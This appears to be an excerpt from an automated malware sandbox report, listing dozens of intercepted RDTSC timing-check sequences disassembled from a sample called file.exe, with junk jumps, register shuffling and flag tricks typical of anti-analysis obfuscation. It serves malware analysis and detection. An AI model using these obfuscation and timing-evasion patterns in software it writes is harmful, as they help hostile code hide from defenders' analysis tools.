Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B7E1 second address: E8B7F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9CAD0B62CDh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B7F3 second address: E8B814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F9CAD0B9FF6h 0x0000000f push eax 0x00000010 push edx 0x00000011 js 00007F9CAD0B9FC6h 0x00000017 jmp 00007F9CAD0B9FCAh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B814 second address: E8B818 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9EE5C second address: D9EE78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pushad 0x00000008 jl 00007F9CAD0B9FCCh 0x0000000e jnp 00007F9CAD0B9FC6h 0x00000014 push eax 0x00000015 push edx 0x00000016 jc 00007F9CAD0B9FC6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30309 second address: 4E3030D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3030D second address: 4E30313 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30313 second address: 4E3034E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9CAD0B62D2h 0x00000008 call 00007F9CAD0B62D2h 0x0000000d pop eax 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F9CAD0B62CDh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3034E second address: 4E30354 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30354 second address: 4E30358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30358 second address: 4E3035C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3035C second address: 4E303DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c pushad 0x0000000d mov eax, edx 0x0000000f mov dl, 5Fh 0x00000011 popad 0x00000012 pushfd 0x00000013 jmp 00007F9CAD0B62D8h 0x00000018 add ah, 00000048h 0x0000001b jmp 00007F9CAD0B62CBh 0x00000020 popfd 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 jmp 00007F9CAD0B62D6h 0x00000029 mov edx, dword ptr [ebp+0Ch] 0x0000002c jmp 00007F9CAD0B62D0h 0x00000031 mov ecx, dword ptr [ebp+08h] 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F9CAD0B62D7h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E303DE second address: 4E30412 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9CAD0B9FCFh 0x00000009 adc cx, 594Eh 0x0000000e jmp 00007F9CAD0B9FD9h 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30433 second address: 4E30442 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9CAD0B62CBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E509A3 second address: 4E509CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FD5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9CAD0B9FCDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E509CC second address: 4E509ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ebx, eax 0x0000000f mov eax, 30340B85h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E509ED second address: 4E509F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E509F3 second address: 4E509F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E509F7 second address: 4E509FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E509FB second address: 4E50A1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9CAD0B62D4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50A1A second address: 4E50A20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50A20 second address: 4E50A24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50A24 second address: 4E50A28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50A28 second address: 4E50AA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a jmp 00007F9CAD0B62D4h 0x0000000f push ecx 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 popad 0x00000014 mov dword ptr [esp], esi 0x00000017 jmp 00007F9CAD0B62CAh 0x0000001c lea eax, dword ptr [ebp-04h] 0x0000001f jmp 00007F9CAD0B62D0h 0x00000024 nop 0x00000025 jmp 00007F9CAD0B62D0h 0x0000002a push eax 0x0000002b jmp 00007F9CAD0B62CBh 0x00000030 nop 0x00000031 jmp 00007F9CAD0B62D6h 0x00000036 push dword ptr [ebp+08h] 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c mov cx, B6F3h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50B0F second address: 4E50B2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50B2C second address: 4E50B3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9CAD0B62CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50BD6 second address: 4E5032C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9CAD0B9FD1h 0x00000008 push eax 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d retn 0004h 0x00000010 nop 0x00000011 sub esp, 04h 0x00000014 xor ebx, ebx 0x00000016 cmp eax, 00000000h 0x00000019 je 00007F9CAD0BA113h 0x0000001f xor eax, eax 0x00000021 mov dword ptr [esp], 00000000h 0x00000028 mov dword ptr [esp+04h], 00000000h 0x00000030 call 00007F9CB13487EDh 0x00000035 mov edi, edi 0x00000037 jmp 00007F9CAD0B9FD0h 0x0000003c xchg eax, ebp 0x0000003d jmp 00007F9CAD0B9FD0h 0x00000042 push eax 0x00000043 pushad 0x00000044 mov esi, edi 0x00000046 mov ebx, 3402F430h 0x0000004b popad 0x0000004c xchg eax, ebp 0x0000004d jmp 00007F9CAD0B9FCFh 0x00000052 mov ebp, esp 0x00000054 jmp 00007F9CAD0B9FD6h 0x00000059 push FFFFFFFEh 0x0000005b jmp 00007F9CAD0B9FD0h 0x00000060 push 0DF367F3h 0x00000065 pushad 0x00000066 push eax 0x00000067 push edx 0x00000068 pushfd 0x00000069 jmp 00007F9CAD0B9FD8h 0x0000006e sbb eax, 12E04938h 0x00000074 jmp 00007F9CAD0B9FCBh 0x00000079 popfd 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5032C second address: 4E5037A instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F9CAD0B62D8h 0x00000008 sub eax, 7CF8C398h 0x0000000e jmp 00007F9CAD0B62CBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 xor dword ptr [esp], 785DF9BBh 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F9CAD0B62D5h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5037A second address: 4E503DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F9CAD0B9FC9h 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F9CAD0B9FCCh 0x00000015 sub cl, 00000058h 0x00000018 jmp 00007F9CAD0B9FCBh 0x0000001d popfd 0x0000001e jmp 00007F9CAD0B9FD8h 0x00000023 popad 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F9CAD0B9FCEh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E503DF second address: 4E503E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E503E5 second address: 4E503E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E503E9 second address: 4E50406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9CAD0B62CFh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50406 second address: 4E5044D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c mov cx, dx 0x0000000f popad 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 pushad 0x00000015 mov edx, 058DAEA8h 0x0000001a pushad 0x0000001b movsx edi, cx 0x0000001e mov bh, al 0x00000020 popad 0x00000021 popad 0x00000022 pop eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F9CAD0B9FCEh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5044D second address: 4E50453 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50453 second address: 4E50457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50457 second address: 4E504C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr fs:[00000000h] 0x0000000e jmp 00007F9CAD0B62D9h 0x00000013 nop 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F9CAD0B62CCh 0x0000001b sub ah, FFFFFF98h 0x0000001e jmp 00007F9CAD0B62CBh 0x00000023 popfd 0x00000024 movzx ecx, di 0x00000027 popad 0x00000028 push eax 0x00000029 pushad 0x0000002a mov si, EE47h 0x0000002e push esi 0x0000002f movsx edi, ax 0x00000032 pop esi 0x00000033 popad 0x00000034 nop 0x00000035 jmp 00007F9CAD0B62CBh 0x0000003a sub esp, 18h 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E504C1 second address: 4E504C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E504C5 second address: 4E504CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E504CB second address: 4E504E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FCAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E504E0 second address: 4E504E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E504E4 second address: 4E504EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E504EA second address: 4E504F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E504F0 second address: 4E504F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E504F4 second address: 4E50594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F9CAD0B62D3h 0x0000000f pushad 0x00000010 call 00007F9CAD0B62D6h 0x00000015 pop esi 0x00000016 mov edi, 3C13B056h 0x0000001b popad 0x0000001c popad 0x0000001d xchg eax, ebx 0x0000001e pushad 0x0000001f call 00007F9CAD0B62D3h 0x00000024 push esi 0x00000025 pop edx 0x00000026 pop esi 0x00000027 pushfd 0x00000028 jmp 00007F9CAD0B62D5h 0x0000002d jmp 00007F9CAD0B62CBh 0x00000032 popfd 0x00000033 popad 0x00000034 xchg eax, esi 0x00000035 jmp 00007F9CAD0B62D6h 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F9CAD0B62CDh 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50594 second address: 4E505A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E505A9 second address: 4E505F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b jmp 00007F9CAD0B62CCh 0x00000010 mov bx, si 0x00000013 popad 0x00000014 xchg eax, edi 0x00000015 jmp 00007F9CAD0B62CCh 0x0000001a push eax 0x0000001b pushad 0x0000001c mov cl, 2Eh 0x0000001e popad 0x0000001f xchg eax, edi 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov eax, 095B4B27h 0x00000028 mov si, 72C3h 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E505F0 second address: 4E50679 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [75AF4538h] 0x0000000e pushad 0x0000000f mov ax, 8EA3h 0x00000013 movzx esi, dx 0x00000016 popad 0x00000017 xor dword ptr [ebp-08h], eax 0x0000001a pushad 0x0000001b call 00007F9CAD0B9FD1h 0x00000020 pushad 0x00000021 popad 0x00000022 pop ecx 0x00000023 pushfd 0x00000024 jmp 00007F9CAD0B9FD7h 0x00000029 xor ax, 1F2Eh 0x0000002e jmp 00007F9CAD0B9FD9h 0x00000033 popfd 0x00000034 popad 0x00000035 xor eax, ebp 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F9CAD0B9FCAh 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50679 second address: 4E506D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F9CAD0B62D4h 0x00000011 and ecx, 3F424708h 0x00000017 jmp 00007F9CAD0B62CBh 0x0000001c popfd 0x0000001d jmp 00007F9CAD0B62D8h 0x00000022 popad 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E506D0 second address: 4E506EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F9CAD0B9FCAh 0x0000000a or ah, FFFFFF98h 0x0000000d jmp 00007F9CAD0B9FCBh 0x00000012 popfd 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E506EF second address: 4E50717 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov eax, edi 0x0000000f mov di, 911Ah 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50717 second address: 4E50734 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FD0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50734 second address: 4E5073A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5073A second address: 4E50740 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50740 second address: 4E50744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50744 second address: 4E507C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], eax 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F9CAD0B9FD8h 0x00000015 and ax, 52E8h 0x0000001a jmp 00007F9CAD0B9FCBh 0x0000001f popfd 0x00000020 call 00007F9CAD0B9FD8h 0x00000025 pushfd 0x00000026 jmp 00007F9CAD0B9FD2h 0x0000002b and ecx, 48EDB078h 0x00000031 jmp 00007F9CAD0B9FCBh 0x00000036 popfd 0x00000037 pop eax 0x00000038 popad 0x00000039 mov dword ptr [ebp-18h], esp 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E507C5 second address: 4E507C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E507C9 second address: 4E507CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E507CF second address: 4E507F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000018h] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 movsx edx, cx 0x00000015 movzx esi, di 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E507F6 second address: 4E507FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E507FC second address: 4E50800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50800 second address: 4E5082A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FD0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, dword ptr [eax+00000FDCh] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F9CAD0B9FCAh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5082A second address: 4E50830 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50830 second address: 4E50842 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, bx 0x00000006 push edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test ecx, ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50842 second address: 4E5084A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, si 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5084A second address: 4E5084F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5084F second address: 4E50873 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, 0D36h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jns 00007F9CAD0B6340h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F9CAD0B62CFh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50873 second address: 4E50877 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50877 second address: 4E5087D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5087D second address: 4E50883 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50883 second address: 4E50887 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4015E second address: 4E4016D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4016D second address: 4E401E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F9CAD0B62D3h 0x00000013 or si, 355Eh 0x00000018 jmp 00007F9CAD0B62D9h 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007F9CAD0B62D0h 0x00000024 sub esi, 7BB95158h 0x0000002a jmp 00007F9CAD0B62CBh 0x0000002f popfd 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E401E5 second address: 4E401FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9CAD0B9FD4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E401FD second address: 4E402B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F9CAD0B62CEh 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 pushad 0x00000011 mov di, si 0x00000014 mov bx, si 0x00000017 popad 0x00000018 mov ebx, ecx 0x0000001a popad 0x0000001b mov ebp, esp 0x0000001d pushad 0x0000001e call 00007F9CAD0B62CCh 0x00000023 mov edi, ecx 0x00000025 pop ecx 0x00000026 popad 0x00000027 sub esp, 2Ch 0x0000002a pushad 0x0000002b push eax 0x0000002c pushfd 0x0000002d jmp 00007F9CAD0B62D5h 0x00000032 adc eax, 2A48BA66h 0x00000038 jmp 00007F9CAD0B62D1h 0x0000003d popfd 0x0000003e pop esi 0x0000003f pushad 0x00000040 call 00007F9CAD0B62D7h 0x00000045 pop esi 0x00000046 jmp 00007F9CAD0B62D9h 0x0000004b popad 0x0000004c popad 0x0000004d xchg eax, ebx 0x0000004e jmp 00007F9CAD0B62CEh 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E402B2 second address: 4E402B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
